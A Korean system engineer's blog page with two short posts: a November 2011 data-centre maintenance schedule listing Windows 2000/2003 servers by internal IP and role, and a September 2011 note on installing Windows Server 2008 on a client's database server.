IDC 전체 점검일정

|
2011/11/15~2011/11/19

윈도우즈 계열 서버 재설치 및 재세팅

192.168.1.18
-  windows 2.3K
- mail hosting (windows 2.3k) & Mail Solution(Mdae~)

192.168.1.24
-  windows 2.3K
- windows hosting (windows 2.3k) & IIS

192.168.1.25
-  windows 2K
- windows hosting (windows 2k) & IIS

192.168.1.26
-  windows 2K
- windows hosting (windows 2k) & IIS

기존  5x~7x 시스템 이전

'System_Engineer > m$' 카테고리의 다른 글

윈7 설치시 설정 리스트  (0) 2012.07.03
IDC 20110917  (0) 2011.09.17
windows 2003 터미널 라이센스 만료시  (0) 2011.09.16
And

IDC 20110917

|
거래처 (주)샤... 북코..
newDb 서버
r410 win2008 ent 설치
인증 및 기타

3일소요
터미널 확인
보안확인



iPhone 에서 작성된 글입니다.

'System_Engineer > m$' 카테고리의 다른 글

윈7 설치시 설정 리스트  (0) 2012.07.03
IDC 전체 점검일정  (0) 2011.11.19
windows 2003 터미널 라이센스 만료시  (0) 2011.09.16
And
prev | 1 | 2 | next